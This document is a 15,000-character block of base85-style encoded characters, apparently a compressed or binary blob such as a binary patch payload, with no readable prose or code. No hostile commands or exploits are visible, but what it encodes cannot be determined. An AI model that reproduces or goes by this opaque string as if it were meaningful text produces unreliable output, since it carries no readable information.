zYjtqTw;~G;`%LW~sEuncQxq%OO}p8)UqW7z?^ooT+E44^`ti>;?Kpr(%s}a3Rzx=1 zAEtRhUH$kMYnyg5wkE7@Z4rUDaQrLrOG>`6o<;o{_cpe9+v?r57VgrhO{+8O$~!Np zLUNbN`Z+g#^SbEHa2*f`MCHa83}_qFR_g`<8Jk*Wy5iGM3~EZ!2Trd|`~3HH7%9cO zr=Q?b(LX!*d*Uw+{stN}p6_~swG#x*7~3|z;7|*(gH2;sJd%DQY_xBs@T6TDVN~Y8 zAJ2BCCtKZF9weZ1nEm~ z{}yCD#mV1LF4SvnVeR0EAVIy>p7EG92Yu0e0PonQ0vyTI|jm5f8iDMp=I&#aeGRy(-6iAAF1Mj4=wSB=N?sB&QOEQUBbw*7cyin9liO>3`+PVnN18wsRx0q*$b-WB; z<1SQMpxD&nW{Yv88vbv2W%|iwEqGF;9(fxsf*7#Qf*zlDAt}4Y#6~v z7*9@07NHl5_}1&WEq_kR&zNgq)1qQ%5QrewljUonVNGpa*jfz(lFCf$_{G+h9++|s zUDvS~E~5Oj=PE&!8`q?Hd@X0lQwC(5ljJEAoa8t>9ctBt>T<)DWUbR_+N7Wg1;kd* zafM)4@%T@~YJ#|%ieT7P?12~t%&yaRkfAw^Z^K314qDB}4tyGG517*yS+nY`(46sm zaQVampsYH!)2LAgnnVi{TMc)X*f78AO`&3({}XeJpjx<17EYkiA;uq^3N>VPJ&xzt zc2Z6ncC-UfCc#s}tb`#(XpVhw@G)BOo3m($fe}8`te9!$EjA5LTM)L4bLbJCnTn9e zh01kaM+O9-E_LX07-zudzBCu+ja|IhyKxQ8w9Z7q>t?4l9!~eI9f#*BBchp&YckRz z`BR4bTF8SN*Q5in1LesB#8OU%)7oPa$W4ppKx+)VskDE&UEK>C54%%hJ&Yyst7dH4 zcTa0PoR$*nXDnw9HG;7PtVc^cwd=gTmQ{G~%;a>X4&3Z^HJv9je1&&4j`CAU^*(AO zw5!}ZDAQ**o{zedy{wy^5x+7674kJV6D3Il2=UcrT}KTrSXQ2IOBna-?xk_kGu4Kt zlpFcjCd#%dFrp&ktyzXO0{d+lVWE87kqyePFmT;$Xc0Cg)9Mw!xV5G)%XP-_$QuxbK#B!jt4unrG(o5p9Ct_e>K;KvuA1hSi&j-j|_ zK%`ErEW4|wQb6-vU&JUfW8V#9@R+b7IRn};+ls`u{%n#hdK1aI?nEsUCNV*-#<~z< zpF#Dte2f>^$KabcmK?=C2DOMzR68Gq8mR}8Auez8HNS||wvEima2jdT68GC-BSYDW z;6m!+B+=X@0beb3jAwvs+RvbZy`>Xla(WNdC}+O^kG!{!kE*)%hi5XAWPpJgV1TF* zqYO4e)M%njn1BI7h=MptWP-ju^Gv}Or_Uqbfuf6u#YplO(N^=e+>G@3$|YI>nE z4G`#wbinWN)DQy#ee`odAgI)Ei6Ck|$fyGHjQfYeb?oMx-j@!pJYHp>6N1n%c0M=3tXrBt;9moNKEl_tYmUE5y~L;Jxjy ztGF%%1oy>1K!Z6Jr!O-iWt>HBcVi`;=UQE6xiP}v$wL8wY98E%xY!SC25=AwJG_+( z5?i0bSVXE?D{`HA(;YHOo7TD=01m8=d|D357$w6_o;SJxPv&2D31vhM$<4*cp|&RT z9?~T95~N0G>(*EBnhFg{+@4PS=s@CDNnD-zJ4yWE?MNJ1(0bn(H!8&=UCWH>a?s7% z1{{VsjDCbD!b>%IS`lAn%&4%=nGd!BC1=Yjke@@VzrS1mIzp_Lb;ycW1% z^0GV#p1@{G9VJa+enzsOeN;H)qpFy%Zb^w6uB|3PJCwN8=&4c(G${PZJ zaUs)!Zw9;Marl}q$B+eV_4YvT4ZB<+y}hw3*lwS9t1Je#dt>9RF^CZjwi?6*rGUoB zqJ?;Y5ir9IYr?L|s_HP1#(bcY%>@^K8znFh7r@eRXRJU?#N*S0@DTE?;ou%o(*QrC zil3G0Ea`GqR!!cIZ72c^b+Y?jkh2V(@5R2CCk%$o6`{VbdB<4-VK8MGC=ZAiUWQnn zx;0^nq6Q#n73i+5Cl6?fJ$WE`K4RzgP+u0PSVrKI_AP)l=0v32Xrx-P5GHtwGa?v~lrn@M!t=$k zc64C7R5r8jyb$yf^{q92H~C-sq-Cdvch8e{L~N^XnSM*2wlzZt6b3EWaKs66%6owZvJdifZDy zzMbPBgBcs8*mTf%V*^t#Pn``ABm@Lt)o>=_7VzV<=_7vFJDq>=3^QTJJa}t%^hZdY z8s797PGzmTb!v3GomrIJ;2tOfJEEKLgCVwl$G{MKbO%5N94c!ZG0oRI*~t7yMHF|VB4 zmY^HY@YCeA6~@iwp-Iu(-C)^eO1^uEY#KO+TKiWl!CT_t@oiwPs;1 z6(2m0IM9(=_HG1Y&-W27LA24kiLoi~ZgS13%-vbIp>Ej5pFEcI%dM84V&BHCcbw9X z7p|HH&p^$;5YIqMace6?ny$7<@=GGz)poJ`7RYZ{e)HuQ7G&`C68=s?%0gUM;wr;c zg=+?`>v7G)bt5jUx}46845thK@W+}u9DqQU)9JyVgFl1+vIoIC5?zS)$r#{%Cgi*K z!7?joVkzb@=;^nhV|jM1WfAU}NzM)B#Lj}f3NR_7jFJ6S?nKyQd>G5>kwT+i9hBKn z^E#CkOy!Mdgg&mRgF+Mbhs!U|kM1^##Lb_F(&O^;7o|JZCw-KEAub{Mn zUR(nADww>XFrp<8q%XtrgUdT%FUDP4-pc1nOr^V;5J<72n=i3A`o`Gc9$finJ{ zMiarPj-#o|Q9d9b$bfxEgrJ*XgY<2D#ui`1|wQIbtgeX^*jm zlGNm)p|#L%9H{#v4iDnElZ%Gc+RecEB1~fGX1p}08558Nnz44<8O>lx(hS1sjH*iu zWIm0UUsdo?vnK2(V6H?t6pLC&v3SZX!G*ZdunPz!T?$R94CSzev-ETMin zqM6%%$&E)Ml`sTw{^<$5K7dzuTX^-Ug;zQM60dGVM$AI+YVmBrD^#d{Nl&A|6-6tC zNPOuG)K`!wU0-%9>dU~-ukSw|XMH&s{+IQA6d9%K`?Jcy^_41}Uf;IOqrU9e;fj4V zVqC$;c;9W2=sk!N-O5Rd+6XtWX7W+8y$vD&{);v;g2Vh|MPL6mCbi=PqMV8B^h3?F zRE0>~H=Z(=&)?qH>M77SA}nY~CvO z3iD>(MT%e}Z6x}FopTgRWrrDpR-G8#0o6P&`jY(-%I*J&XN;jK4@#BEZ%PV!c37_C zcv&Sl0vLDbS$`Aq!GDL@{~?QCV;+nI?7?j$s zudpH_xubz=`ssg1E8&;` z^AfgVt4Au_tqiL7FLj?lJaDDdTEh1aw~NTh5r2ZE2ST4tf#O=1^uTT zRGbdF+YTyA2d%M#a??Ryw}Zmzpq*b6sls3@gxl<(>(j9cRl?*ZQlV1>eQEz9s+ zW5)0tF?|wYz*q;sX2A=n;w8BiSj~(=5=>O_J&;Bf9ZsGmnVUeLVg7?!pd-`Kr`yqw z{xBWgTHJ{KD)e6pfsC?YtE{8JIG1$uRnPzc!^E`-tWc)Y4D_bbe}(_w*kwR0&%es& z*smp@o=Pw3ZL5%C)7du{LkR*DH*7VQuoUAmkk!1?EAfm<3~N;OZnM;`&U{FH7}$Ge zy@=n^9_XS+&3hQGI#%k~IY!TFBcKhlYKC3=+}RjpdcSAQ@0BuQ*OJ66 zhkY2NJ`qc68`?wA!Y6GZ8VW^wCo7V=kQxP78zUyar1zG!eJ^c>5I<{SHYJ3npNJz24(OowHERpH@wh2JG86Iq{&F48~f1Izys7x0PARrpQU zFS^zSq)3C!VbccF%SQVn=;fc(AQ<`|1V%vUB`09g%PRq|B+W5+Kr(yQQ+kau9REZO zUwA?EySU`IAK#fFWWLQ5j~U zkFK=xZMfNEvaJ<4m=ABJJRB-xoVnG39ix%tieBxwlL|xcKnM6D9B1Y`BwN8jTEAFhDWxCP?=DSUj9JSlHwkO zKUT1@X&@iF2>1#EDV_!=EwN$dI^bi1L+}#VN1sY4-dUrl16*i%-ocdp=)F$h zICpWhFJZKS5PTw$^ ztrBfWt+_)orw^ea^G)MnDI0A@D@obkIijjf?_+Dfk0yaa4EPXL`;ix7tCBOlABJcI z#L0-Fe%W{Pq&ue0eB-2*cWk>k5AEnJK@Rrt zhW>^d@aRhn=x;O!JqW5b?hoeRPW@-z0mqMQxD@p@xg?rw|0cV2qXw zp@c7ocF7We9O$j_eDYh)4I`&FAC8@v{1O}w?oZy9et#L~O{j>2{CzDvj2Etr?#C(? z6IC$E&>Ay$GMmQ5$R_SGPL;UHpD=TUcf&+-0m`kG_MEYxjrBW-$K=42Lbzcl>~mIrx351Me14ImHu@M>(JoWlf)Jk_w;?0?8j1uK z=OQK)15)|XQ#LrFBY;!(_mkh@_kg&&qFhJ(4Z|?u;)R+w83@*x!-leE?kIt(Mo3P> zP&57@x_F~N8kmlG!;cO3NjHgpDk2WdZ;F0Ywvv8Oic2d|4T4T7EKG%!l$>nIp-T~S^1rumud1p+VE zUTN(QTpzp%%-zQbN1U8$`1LwV$|h%WGrHiWnwe&gq;kXh*FmB0=9Vw9ST{XY|5SZL zj)mlZaa8>g=7p`G8szn&2n>;zui1rhFn^|bM>?-p&?=dg?WUZF2B$Q+c%f}0 zz+rYnol%ZPu>T@PjJ|Q;SPx6H(rGZ`-fTlciFMe$=zu?Mk`CzoGMLv58-tve`a0ck zg2)^Lbuj7M9Ndm)+Vq`x+{_wOs?`EDKqJ62ej5wPMp-i^boW4#c9N{eSrgN_i z6M6D#Ovh>)dGew=Y>+h!i(2sdWm3UQ_OWM`Oe7Ca{yL}Hyl`n>Kk|ToxVOHJy1{^& zcNZWA4q@H78=3{QJ3QLN9e&J_H=rpiaT?}@A)nWlEn1T1!T^((=i;hA~(_xoh zgwj!1ezkdG5m~XBm*O{i5Y!R&uR%gkd|8b-yq-A~^l~3g<^AarRH)Jm>;wYaOSM}c zV>C~lITd?rVe<=z+f4XYJ}&2Rle7TuD}4FIdwy6j|6Sjp~ZvPdv7BgdGH(}G|H zw6nuzaXN8!)XQG#gb#5;>o%tnx}uuEZ=;?|>Fy*t`mE z=+QxX$e~R%Mgutl(aCnh5&@SntYN6$>7hM|F)F4p6BI_nh>VvIM()I{j|kZhP-f38 zmh8~)zyXdDqt+jtV&_z2t}0+T-o&iqj7_>^%<(6#J&9<>94`&GPOK9(B2H%I`o3Jf zD;Kr*Lww}hI0f^-AQ^V(O|Zg{VHe4LsX1Bh73KuoLDEHvop^x4+{6Ps@KE}r0{kjw z%ec3Ym7;`IIiwR9 z@V{tPnDYaEqD=UV?{};3ix*M^$T5+4fMt~ah$3b9p1Qk)X%^cFtIcV4^%#NGBTr=9 z%V@^k3?uA%=c9TO#_Db1NAMXqJ7m zgTS~u4{yf33?l$qSV9ZK1OR-%5o%?8^j?w4ZQ-xcLdjf0JV+QVq(RvHzfc{c7SyxJ zOwSfjj=LEF*q7ME2cu=K9e)iT6yWUm_cH#yjKKI?_>h#Xxv(W0Pdsov!p!q9CID8B zxTcbUt$Z>`vaGWgGlTLfD&+_HvQ+P?++aMri{g;*u4mw8OS2JiMdvr zeVDu==25Xo<{juxJV9j0j!iQlMut)2E;>*L?r=2u9pBR>F!??dvQOB(Soz^;XFHh) zjF8(HTGUZG!+q;$Xv{~7`j#gyE7v=7LNnYe|9+Y*hVex{tjw1NltEB1g`TEP))O;9 z=OWwwUd0^NM;ei`Zo!X^f$B=Vjb&c>PzNbeBXQP6s za}84OYdwJY>U=%wRe<9eFT=&WZzI=plY4NgvJ|Ar*RqYVc1E17<2Gcq&gMA^KNYgB zgKiL(#I1EMB=*BS8<1->L6HLvVOoulITvPs)Gx<@fuyYPZ;;uFzD z+5Z4AknjiM1i-vo}>i8>lgTvprGTqL=Y-%$p|qwenBWd5=K z0c1xM)BxvA$E+HoU8EoPuR0$(FBOMH=cNoc{rCiJDrsb5Na zwW(iCF`sb#z5y8<5qGUIe!lTMhG#(db>Gt$g+9|Rl>xVR<%h|+H7?hI=-Y^k z8@tGL01}hs7qXlDvUP@yUALIlf&t)U;OeCNAkYaWJrmpq%SpgRGJs0^Inee?R536Y zmUR+gZ=x#DkEGK2gEwA`2Wy;z&DrqGB>dR<|l6DQmr(X=#gVQ!IfdSx~ZGP z#(Y5*XHX2YdggVe-9klouq6IQ}-Lt7X6)E*`ui~OVhb73ZL?h~K%M?JZV9NQLj zei{B*`076ouZ#G4312t!>r%d+$JbZ*x{R-Wz8*Qg(6KGbS0`U{__~6xfBz+3Z~6mX zHNO6tuep3(&DU4>TJRcP*YI^8Utf3wuZ?`&$=Bu=@!HJSpYZkF7x3E3*R6b|4Z>|3 z`T7IAhPU0r$5XQFUAFBpygJ-+jhT1)-J;Qtv1`YJ!L1aVsb9BRI$qck~f;ic3acxeV?lSMTc*DkQyQ# z+R&cNHe{cNoT9~lMwz#w%<#7D2s7Wro^~{dz-_mvEGgO8o~vaJJ8K%X?tAs)eN zEJQz;X@^Yq7@g@)LNB7P+pTQy!&=RY;_S(z zdnHv~Iu%I=WNrtsvWl*F6()WnTiHg>Hs*@vuc7c8mV09vLFMTSVH~=Z0y5dlH0spHp)CuTERDrpZf%yOCSXdtCd~! zSh_4fM04+K6x!4kJuxUa%lxesJcyR^QO(B>YnYEAe}?&uT~DEK$dx_dQDxfT;u8D) z+BN3mpasfAm!Xr$U~?)y&(;8N!cuu^AB(^I3B7j>_IE0w80 zq=EDC#!0mj*FvjH8)5|F_h9&9H4baR;PtLB+;P&egfle>D1sBBC=RFt`=M4ZS0EnF z$@fTjX?+g7F83jE&;WbkYtBWViOU!)C&ykTBLE78dFXX&k+VeTsKELKQe$}MVR%za zhRGXZGIXLZPF*OmbLHFEg-3l|z#ThBUzg*AcInpVK~?;Z2_Zybah`7|tq;U5!}knW zuvo$GANjI5P92+MoM@IcjxzkP=yK1-J%6e?+svI1w z^zO&^E$QzM+vz9p^Z4jvJ@~xJ{;Um0(}IbN&npTR)Mxs@QNR9|L-j5+}&Fjz$2n2NAppr^VudF;bTP)I0ZdLBB&8T1g}X z?+3;TZ{jkwlE~uox8MoS3sl34Kk+TUF*GsVi=QfgPr0xe2^^U?gPxs{pP%^+&O(+c zcIL>BnO1pw%GryK&&f|lh`Ih2H|UM1-#}j`;eu_h?1uh?Q@_^X*N5eiw}~#rEFw-AhgG{T_nO^$O znSu=@R~0)m)1b;!vCGU8q|k6pg#>7y zBp}nKN`PsdOzz1^f-&UYj=gctVaUp1)1_%I3HmUa@gG~7N#tGZyQgDF_Cs5(`ATi6UpKz|tP0k8lZIz!4zm@PO!%+J_sdogfj=i6(*wdGs z8+RlFdlGZMe-gvL5Cs({-FuQ1aYs-2an@SzcsFrTA_Iqg&m6yMyp6?9B3hP1o+OXM zEi}O@@2Ba7`z~@hl#I_vJ6${zF!+qX@ zwynQk;=tkk0%O5RBcBH-S9lQ99si?NgpK>G_)U;QT!dv{Rvfu#=W!Z~Ls$Z*ydlmz$(9d5O;sQ9VKH$X2AWANp>5`kbWyT=`5BmoAF z`k+%UsxwMTK@M?(;g6_R07oi*kNv0s!UD<{Wkl^Cb%oyWHJ=4U#usdl7z_O=m$A@m z6k>aXvCGzsLbhe0dHKFL{WA3O*d7{adc|gyhGACW zGgLCvqZNeq#au=d6M-K^*o3>vt6n%OBxZXPtFgfL8pnIe-N?t$+sPK6aL3A+Q!`by zxkvX?-v4L0;bhUB`UzKT3Np}c4ediUdQgqkeoQ6P>|GhKa>~YPt?n z17#r-lUmdZ^*M+EWJ1H4UMnBO`d3+n*&Li;#Ob(`*bv3|DaUB2Sdy3o;m%@VOE7%w zM}WT^QSkYq#1!juntmvJ?2gL*=S>g~%z|nJ6j!h(AoxYyQTRUe7+2?qUS6AFoWQWb zm@%WvKqQmJaxhO8iLmb)z%u3tR`tNV9LNeMMwcUwe1vu-nQLsCKK3n6W{@}7Ql|*L z_`Qn#ZIrAe0y$Qhe&d?_ez%eI8djOc`xps4UEWIWTJ1OMWj}TJHZ|fM5D21~d8q5z z#-|kcfit+#=z)sM^~pM~F(v-q>TIJhbaQ@env_riVpxpR`5DF^!9S3pL;*K@sfA!% zj@O|^)StN7&v)<@1##u! z%Egs~s|+1jTy$WAt8DrjciD|=bIJ;FFJ0>|`x5TAul1B&thviBiMeM^PrZSP7ldB+ zHIGDPKvn{o%HXI~V{VF|iZmEihz_bMdatxZYcM_lP8JwraUPI@sS-#REAA7?Cs4~L z;f&B&=A^N&>w{IZOADS!7C#f)pSpy(7-ennuqK!@lI3&j|H&T0UI4;LW>(b(W8)Z)R@2dfmO0EzKY*4kT_ycr=!Zw9_l2!u*lG{ z!PVTMA#CGOATka$2|6?{ z>KXJkF95y(K6u9B*7};Kz9M&SZpqg?19qoX+FbP&v^3ZL%B@T^stg*{e{yN(_w9AT z?ALz%z{v@RFzJ=y9S)hn@}#ncNdT8hLT4{JwpZ@wqRC~$U5GMaKYFyxrn}EDk$VV2 zs4+R-SeJ|8#0J0!o%ej)e9iYt6rv7-X%Vp%0Y&}2PlGZ=du$32%>i7Z{|yj=2>j%m z*o%7)WPn3vW^Wx5MC*aQLMu*-c_(5bUhf)2!8AMrjjRAv%TZmNkO$qPbThA^pJ-IT zfMN!e@wK7`U6=&h2Ix12P_LU=(PH)>Y|`_Y`WIzWwErs0)BaEv(%vX5&|bB=&O|Qh zuA3=o;!&W(;9#RuIyOy8y4{8L88&Tc-ejoJ`)PN{arMu2n1 z&Q0^-*xS&R&xF;UBcQk7x2`Q|qfSH<9NV1i2cLIsN$;Nlu=YmDN71`~GdCEd8I&7W zx$WA&U9043=b05tUE3c0xAGaIT9+}nJ}Hl3sez#R^Z*PLfm2`fB1r!-5v}RyC4si2Cl?W^gD<;LSKpNy@Wf6am($VV%WTa{0C2< z0ET)h#Ia*M0b@#pNiPh~Pc8~pm~^@ZSs-!I*ki4Y3F?tkD=4Olx6YNJ07eOArf-+#X{Vy9Lm~9_MEdh>c4X4ev!7daM z;NS>iNh$+qV7wG__`p~eT7x~^`R0GZATBG9`40!h@{J?Zw=rHcKEOC!YII|QywND> zo9%5(LfztW?P@t?G81!Z3Fg!+;|~&jHKuFKtA9w;(@K~hlW;%g)dl`Uy`S%=&#M-D z1|IA|qu2O{O!jZ0luk_K*IQ*(V?nOXl=*uqoX=j4$h1xCH&#R073^lst{?~PNaW&kZ(Zm*Zvu=$4n*o;6&A(#y82VSO4m$rql zTU`h~FT*%xgsJtHY5XnG;59~){U@)`pm>Fu-oygGV)~6E18w>-OEOZ%F{@pR75`5D zWFGTRUgtGRV^@KhEQaag4C9z8WC-~G8wtFC6ePgAk-+0>D-pE|GVOx8Vvn(aK~1|s zI_o;a-!~)2sTyQ6KwT(nP=ki31~EAsB@EE#H3~rgskG*pk-{QrzA#x*fZr|6fPy{w z#*+WHjX~%9^q*Q#%NF?kss%HofHHJR$>}Zl!@q)-bPGC!M203f18Buhj1+(sFpi-W zOH_Zb|D`0a1uMIxeP@;=ozK*#!^-Lx!?a353^eB_XwESU*A@x9B1AGd*Qh{dm%|qQ z&-(xKTC^P)c8YC6ixy#ilfGB&IRkS4+xEOh^CZT{7(2Dno@Tc&;g(_vcY+}#0ndgKS0O)OqB10TA`R6tlo3YYOxp&!s%;;iu5B&*g?=>=>=J_#nL!llF+I<*Le^U$fOb{a!YE{5XY(Yi|=!>oP zT7#DBL?ID-V~?YR+~{Qx_b0vLo>^#bHQJL4Am^FSW~aAqVwWPLoEr1KA=n=(Mhbi7 zW6|O#mXQ`)M*d0nk#!zPF_PueOC=a#VQCt!kC1r9Bxfh6^`kPrWBwf6m`{)fB^wIcKA1E;M?QVdn-|q3VnG@)|KgGL3UrXip&ro4d_@J=>$G5(S#uXu=WyHtF{GVOoEZZW7_Oqu zlEZ~i4@C)oSj#qh0k|Z7!{if?V^}8@S$;{c*6} zc?L-DD!)+=ZM$5<48k2~hyIrgB@hIom`QRld=X@utH zez1fVKDbiI{qJcD9lP?MS?K87>y$J(3(!TWyuQ5|>UAk!MY@q-|d@&vb6JMLkUI-D}q5kitqgmV)4bz zmuIb)BiJVIecXCE`98jEvtB;p3s+1SV!_@d9+2rdDpR&J_%0%(R`cm7pKj*U_2coh zj8CsH>_+UiU@)$lq>a~m%QYW=5a&QM+VJCS} zFqj&}?^XOx2nIWlW>*`2+H(k!Q+cauwK>U3xX%SJ;;1RMtO^7e-w)u1Bz|eYfiR`EK20?alJoB*vARviAP%%;|En7^wop zXU%hQXUz#CKf76K?@!m>|2Qf>uvJNcn>x0nwkqF~>NhTu>c`7)1K3Am@f6664c)Z^ zX?uTa`TqI>o}-Y3W$kerj3!kNiAE3Ldv`AU4F~lbrd(OW(kZ{Vf5p#RX^UZ`Y}Mo zh*UX18=%j{)Rlaq56#GKTXWEb&e7L_0jBY{GXN-F1aDLdH{(vD3+7;kLLH;Cx)E0x*X6j%a8=@3 zitB%yKWQ+)N11z8TOnvvmv3kJF#Wg-uR*@z*mxT$rIy*oJ|xjr@o~VW+})+p*pyt| z(Gxh1i3I|A0q_Q3%Bu_DYs_-5rS#Ft2NW)4eGW5G*q-K@&3^4-p0K_0HcTE6UBWsP z3_*`ZNHIb%bCu?6*_EMxta%R#xeM#lUTX&GVD9>TKg@n$$3{&ttdG1VL|3D$*Ki&i zIGy&w3-T@c!Er#iCzHweXI_ZO3#B0ob(9q6cRofqWG=quckv)voJsvE$b0nT(|j!? zDRi)Sa}hL5egh0wyoT4jxE~Gq0LYgZ54#!Wc)M}{%-3=9bL|~c4zw?dBj$&WWBt$) znZ!H}+j&H<;A;BE$REqc{)LR5yF}TasqeCtImRO^*D5P3&5um}a=9EsSOPnM^>7Kc zMP>amLZe6QtQ)4M9**v_-=al>3fdwC1thhs#M34|2KPU+kg;O|qBn#KIgMpygc*3a_WUwPobHj9BmonOwC5jwf6G_(9&YY(z z%_>MIvwWDZ!qA6J%qrVGBOEY5H3tqDWPke1?}Kw_%gaUK1Nb6GFT!J)*Eevz_vswRKX9GE)sHI^VZ(5Z#5E4rxwt0ax(L^$xURqz!u2g&t8m?kOULDK zX1Ls$S=ndd&ogA`Fz@gYKL5y3qXT0Y^8e+(v8epGvvLMdTb{sVcqsF7Yq>^i2f%G4 zj^Z~l)YvRtxoao!6A|`?wDxx)b2GzQ{jw2+Xl#GDcJsBNLLVA#Tz9(ZZUq}*CyR9$s z^2Vi+rT7}YR$T>sr%vv0 zV1E?`;KylWND`+OFyLbZ>bdj@6dkC=QtF%y zbxy$2KgA#OY^cwevcRd0m=5W2=%tnKE`)8j`mTjaXqqOMFR1lR-(0r?_UW-o#fHl* zK?qkt^A?jQLI32Pf^C+T!7aFwZs)%vwV&ZpbstvWMst;trs#lF-}n8_`o+oV{S%)D zz?c_Tz{b5~p*!Ch8`1yESyP85<)BG<=0~=aQwtg`62%;Q>>!-8gc&D*IJxFQJ5Fo} zb(y5BT4Wl8w>tl=GYAJXfvUi{MF#+m@f*f%1}JYV^ZEF01CwZd5zME-(!!E(Ka zCJKVsqVuop#?lYlLj4PU-|tvbUo~N$lmK&`zMa=OJC8yyg_ICZta4ZREK0a=NxekE z-Kx+T_$_E;ZkfaNqo^B1ZvZrsxmO7i))u|Tb)5MySV7|;w?Y96xJ1gtw(AXDIIF>v zxjc#j`CXopH@TlwFLjZY-Hy>H{^;(aLABD{z3 z4#Mkp&Bfv{et*VXwWZkmYo;J_i<885&W*i07{;N{`v9M~mhHWVPg#80z$eVmj^0K- zLEFWVx~-jxiK&(CLwWl~`!L>?wNt?=wODK#rXuYm&8h3!xwuYMwUaofrni$ir>3-% zJg17v>i0r>bBa~vH2xeBMhv3STuzb4L>4ABu7 z!@+9vL*dum_yU;&0{egOoa=ZSR|?nPah<^B05r34jli`W?<;WKj;k5hCR|%_{U@%+ za6O6Z8C;#X_TzdP*Q>b3AZ;$L3AiTV`v23Mp!_E-uNtt&fCU>zG#QnAj-Y&yz0nwL zOVBF;SP5_!P{@_jrBBP%Ouc{fx z;A8yg^-72Z{}o8!37dZun>gUIv>zGMKtlR8Uozq@&CoVahn?Bb%PT)ZnYoFI-R}M@ z7{Pf#@Wa$6s|v`-Z(9vyG#{Qlxc-{a9Bf7~4I(w-PUm^8xT9{K>gWd;h7Hb!Db$H4 zCPUxTka!OzUE%hdAL4SETKHP7bRAj!mhvA7FH(w;#OC^}6UL#Hod zoG=$a{~YJn#0e>N4n5s2N9#;yYB;FXJ$p~>?RNFkQI8Vu70)-1pbQKww1)z_uKDH{ zr%C{=evM+9j#C}=ty%Vd9z5ox_x3FR3Xw{sPwwY(EGGit?KDI0VDs9J;1_=6jMi6h zHy-D!THkFLMfvWOK$ezS9_n1#2gBP#EODWy3lJE(Bst5;9W@*!F6ytVwPx2G^Xsq+ zC9|tGhf@l2gH5;%^Qo5P-&`^hQ|k@%Zl`&0s3#-Tz4BcOdmy(HyQEO-XOX|1MdTamd2qvWqYD=PvE-27(D3)G55 zhjBI7Nz650!$cc_^@LwYOssk>yF0UjtcCIXgih>DULQQiT%s5ewWa85zK`|ARwVWk zZZUqv+8?Vd5zcJsa*W{sbR2GPJUK3wy@xJ0QbQY0=ET0f=NxiDTgp*8fch}ZC~bls zhXV(N*?*x@fwMofcjZT+y&6pVXT(M~^)r2JocXsO;qa~;(M9$-^$S%~%`d`)W&OhR z2fqr&XPKj|lWPi$YJTpU3H&03fzxrRcDYo$&RC88*+#Ys*(*jTySpMdW?agvIJBjF z%K`NWgd;_V@sbPw%r=_>^@E+vOEJYJ}Z zWKCHX91|OAdtkT$Xd{!2zPi|&h7-pQkTl@UX_yY!6hk5;uE{+2Y4x zdWnA216Gl{Fn-P3w8xKnd z&|Af*e;`@af2enc>v`YKjLBVE0N2pTU9k}&E~bz_HC1!s$W}{MMcYxca86=)VU8)qkfKh7VxQzi&o~N2{zeubGC) z;z%tl#VuWKiD=eNhJ~dstGB*#@6p)UzH)zg%wJn+mPsg`FTRz^lwBrto?pQaSmJ28f;nF6$H?NSc|X@wNUHkI8R4t^M^4 z!)D4})E}U>+VTQE!Bqjos&q7ljI8{Ub252U*2AD=Z6+3hr+st{`sh0SBcv3JTFzR* zE1hJ*?BOwuA#!fL7Nt~&5hK@p2`&urf%YL>)X?(ldp4s57%soWFNQVPclcAPGr#&X zI$a^J0X++Jo4w?ue^V?uU#*fQCqN_HSFn%;4s$XUkdf!){d%u^^`E;Pn?k7;#fU304;89^oC}vdlcr$fAz z>oY)>CD)c)aJ?1&HxN7kS03P6h8V`vGClS|_4h}d98(jcpRgs5k&nMu$kvS|@Jx|Q(JP4PG9Tq+h!elop z4J<~D#fV))UY&WUm^Jl3;wVSI$1er6^>xsZjQ^ND-_n6!Zl%*4l-~9>eu4E|{~23N z{6c>h-iH?<5eVc^?x!nBwDbf!{Kd(FIBs7n-QNx%&V)ft62Fkv0Kd@*n_K=2qTUXc zA{8)NSukN(3qKa+qtk8ZC3@<6I`HezR-`MkT+|Ad`ku~-UIT!tHMdz}VzGBG<0kHs z{3LHcBi*jAP<8KawuWv;q|jP8ihg+%dRh`9a^gO=yO(CAir(zyK{9Ep%r|}0OEP@T zci}tmAea6xp;rhKW#A%+mdV;Iu!N!C`0n}yocaI;4j%-IqlG*Gdi-1_di>WE>U&5jaTs~*0ClrhHfSC<#{BfgGWoZY59#k@`&y5|-A6YB zVhHb^?#z^4PkOQ2`vH&D-+ct1+2ML;CW*>WKEu#k=IJv)w?l}eO~-8lNxWBvR)|Ys zGPf@m6Fbv?<_ZEIcA7!A|a$u+A{pcr_tI%Os-&nA#G)p9p007V_E#iTG2kYG?@>riALY^ z3UhlBr#BwPU1oO46Ar=oe)kc4W@qZ1S)oI|y9x$clb%5t#m=r%p|o%3y^;_OX@t*E zHCu1E`}KjCtx%~*$6*9j5+Qdlt5hws91+b7`7kD1q!f@d#z=EFidfZ|`yUklm!w|n zQEf5V36H9nrvHX7fI=Q11btxrIW_nCTEBwf$_`L~8X;Zw@6W%RrCh3T4;5X^-af1> zkyox%^KQ;w%AiWMIsX~K@`9TASWDze-7eTga!dmv&9A6*{^lP!(0J`uqYj$eldo|% ztrLHDF&8G}nEJGS6#o0J5-Zj*FSZy$<$MBdafNns4;^&{&bSd51b@0ngzHw zPZ%^WV|kQ^Vqv2@11l65rcsQiaj3rY6Hn{d)_Km;SyACg+X_%0bIX-#{a$R$Tp(IB z<Ae3 zcSW){=GeTgubJH^9A5=EzFM>B#{my(D&yiN&)yO*I z>;`^?dQ@P9)|xA@5@;GG|jxVHgRbE!sq&V(DS4PGV-17@PSy{LjOp3cQa4*alEAfi0cqNE8 zPX8q6+qe)+k?aNl2Xp@MW9gk9o*we|>72`)uu-;;CXj%VmvT9g#=0|SLPdzvGohqD zV$1Va7sDkmXvRu-gs9FXF;P=iPZMj)iXrM;nFC

FUd^=Y-m%~He@?o#yF{946bG2)E=YM;APaj@B?3mu+ z_C4LVJbu_0&qM;(2cZvrEuRujaSD3Gcq#A;#!E3SeDO{AGL_OE-$ose$;t~r2;zb@8BX57Z&t-!?Hc^EZr~GR_yjhu@AnZ#`>6wQ~x* z`Nf$fMBBG|HcZc$GCL!7tL(A1AK}updz3LYG&1%TE3% z^k^tE4`q&x1zFx0mKSltkc3@UCFW)0+6CQBdBi5L-w+jB_Kz+_SGBy&inX-?AlQod z(AP}gp86*lzPl(_@$H1q=y}#Q=Q|l7_o0KnIBk?k6qwRb;@OG5o!-K7jw-T%uKifK z-bEP!Rx>TlxEq}i)xN0;Gg^O*BC2bsMLZfqj74LJ!Q!|0DFtg2Z()+z3yenMFd7Jr zmBd@ZqWgBv4Q5AU)c@grJ^a(lmbiEPsh)LBI6qc(U8 zn_-;~PQa5D9w+Mgx1s|WP4{$kU7pt5QEA!&XpPy2Jv6j32VNd)i{8XWbxGm}BuR9g z_5derLx4`Uq?;= z-%$X&)A#g#-_yMqmPz-eU^-|zJ2!-KeJxM20qb*67vR-cV++}dn)!9L@K+8erVzM+ 